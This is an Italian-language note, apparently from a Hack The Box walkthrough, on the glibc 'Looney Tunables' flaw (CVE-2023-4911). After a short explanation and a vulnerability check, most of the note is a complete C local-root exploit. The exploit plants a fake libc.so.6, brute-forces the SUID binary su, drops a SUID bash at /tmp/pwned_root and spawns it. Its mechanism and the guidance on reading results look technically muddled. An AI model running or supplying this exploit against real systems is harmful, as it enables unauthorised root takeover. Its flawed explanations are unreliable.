tags: Looney_Tunables CVE-2023-4911 glibc_vulnerability
La glibc (GNU C Library) è la libreria fondamentale di Linux che definisce le chiamate di sistema (come open, read, malloc). È presente praticamente su ogni distribuzione Linux.
Perché si chiama così?
È un gioco di parole tra “Looney Tunes” (i cartoni animati) e “TUNABLES” (la variabile d’ambiente colpevole).
Versioni colpite
Le versioni colpite sono glibc dalla 2.34 alla 2.38 (copre Ubuntu 22.04/23.04, Debian 12/13, Fedora 37/38, Kali Linux recenti pre-patch).
Impatto
Poiché il loader viene eseguito con gli stessi permessi del processo che sta caricando, se lanciamo un binario SUID (come su, sudo, passwd) e riusciamo a corrompere la memoria prima che il programma inizi, otteniamo l’esecuzione di codice come root.
Verifica della vulnerabilità
Per verificare se la versione presente nella macchina è vulenerabile possiamo lanciare il seguente comando:
ldd --versionSe è compresa tra 2.34 alla 2.38 allora è vulnerabile.
Un altro metodo è il seguente:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A su --helpCome interpretare il risultato
-
Risultato:
Segmentation fault(oErrore di segmentazione)-
Verdetto: VULNERABILE.
-
Significato: L’overflow è avvenuto. Il sistema è sfruttabile. L’exploit che sta girando è corretto, è solo una questione di sfortuna con l’ASLR (Address Space Layout Randomization).
-
Azione: Continua a far girare lo script. Se supera i 10 minuti, interrompilo (
Ctrl+C) e riavvialo. Riavviare cambia il PID e lo stato della memoria, il che a volte aiuta a trovare l’offset giusto più velocemente.
-
-
Risultato: Output dell’help di
su(normale)-
Verdetto: NON VULNERABILE (PATCHATO).
-
Significato: Il loader ha gestito correttamente l’input malformato ignorandolo.
-
Azione: Se vedi questo, l’exploit non funzionerà mai. Tuttavia, su 2million.htb (essendo una macchina vecchia che simula un ambiente specifico), dovrebbe essere vulnerabile al 100%.
-
Exploitazione
Se la versione presente è vulnerabile possiamo utlizzare il seguente exploit:
/*
* CVE-2023-4911 (Looney Tunables) - Generic C Exploit
* * Target: Linux glibc 2.34 - 2.38
* Description: Buffer overflow in ld.so handling GLIBC_TUNABLES environment variable.
* Allows local privilege escalation to root via SUID binaries (e.g., su).
*
* Usage:
* gcc looney_tunables_exploit.c -o exploit
* ./exploit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
// La stringa magica che causa l'overflow nel loader dinamico
#define MALICIOUS_DIR "glibc.malloc.mxfast=glibc.malloc.mxfast=A"
int main(void) {
char *env[0x1000]; // Array per le variabili d'ambiente
char buf[0x1000]; // Buffer per costruire la stringa TUNABLES
int i;
int fd;
printf("[*] CVE-2023-4911 Exploit by HackTheBox Player\n");
printf("[*] Setting up the malicious environment...\n");
/* * STEP 1: Creazione della struttura di directory
* Creiamo una directory con il nome esatto che verrà cercato da ld.so
* a causa dell'overflow. Usiamo percorsi relativi (.) per essere generici.
*/
if (mkdir(MALICIOUS_DIR, 0777) < 0) {
// Ignora l'errore se la directory esiste già
// perror("mkdir failed (might exist)");
}
/* * STEP 2: Creazione del Payload (libc.so.6)
* Creiamo un file che simula la libreria standard C.
* Quando ld.so carica questa "libreria", eseguirà il nostro codice.
* * NOTA: Qui usiamo un trucco. Scriviamo uno script shell invece di un ELF compilato.
* In molti casi, ld.so proverà a eseguirlo se il mapping fallisce in un certo modo,
* oppure sfruttiamo il comportamento di esecuzione diretta.
* * Payload: Copia /bin/bash in /tmp/kshell e gli dà i permessi SUID (root).
*/
char payload_path[256];
snprintf(payload_path, sizeof(payload_path), "%s/libc.so.6", MALICIOUS_DIR);
fd = open(payload_path, O_CREAT | O_RDWR | O_TRUNC, 0777);
if (fd < 0) {
perror("[-] Error creating payload file");
return 1;
}
// Script malevolo che verrà eseguito come root
const char *script = "#!/bin/sh\n"
"cp /bin/bash /tmp/pwned_root\n"
"chmod 4755 /tmp/pwned_root\n" // 4755 = SUID bit
"echo 'ROOT SHELL CREATED at /tmp/pwned_root'\n";
write(fd, script, strlen(script));
close(fd);
// Assicuriamoci che sia eseguibile
chmod(payload_path, 0777);
/* * STEP 3: Preparazione dell'Environment (Spray)
* Riempiamo l'ambiente con la stringa corrotta per massimizzare
* le probabilità di colpire l'offset giusto in memoria (ASLR).
*/
for (i = 0; i < 0xfff; i++) {
sprintf(buf, "GLIBC_TUNABLES=%s", MALICIOUS_DIR);
env[i] = strdup(buf);
}
env[i] = NULL; // Terminatore array
printf("[*] Starting brute force on /usr/bin/su (Ctrl+C to stop)...\n");
/* * STEP 4: Attack Loop (Brute Force)
* Eseguiamo ciclicamente un binario SUID (su) con l'ambiente corrotto.
*/
int attempts = 0;
while (1) {
attempts++;
if (attempts % 100 == 0) {
printf("\r[*] Attempts: %d", attempts);
fflush(stdout);
}
pid_t pid = fork();
if (pid == 0) {
// Child process: Esegue 'su'
// Redirigiamo stderr a /dev/null per non vedere gli errori di SegFault
int null_fd = open("/dev/null", O_WRONLY);
dup2(null_fd, 2);
close(null_fd);
execle("/usr/bin/su", "su", "--help", NULL, env);
exit(1); // Se execle fallisce
}
// Parent process: Aspetta il figlio
int status;
waitpid(pid, &status, 0);
// Verifica se il file SUID è stato creato
struct stat st;
if (stat("/tmp/pwned_root", &st) == 0) {
if (st.st_uid == 0 && (st.st_mode & S_ISUID)) {
printf("\n\n[+] SUCCESS! Root shell created after %d attempts.\n", attempts);
printf("[+] Spawning root shell now...\n");
// Pulisce l'ambiente per la shell finale
char *clean_argv[] = {"/tmp/pwned_root", "-p", NULL};
char *clean_env[] = {NULL};
execve("/tmp/pwned_root", clean_argv, clean_env);
exit(0);
}
}
}
return 0;
}
gcc exploit.c -o exploit
chmod +x exploit
./exploit
Ci può impiegare parecchio tempo (dopo 10 min interrompi e rilancia) per ottenere il root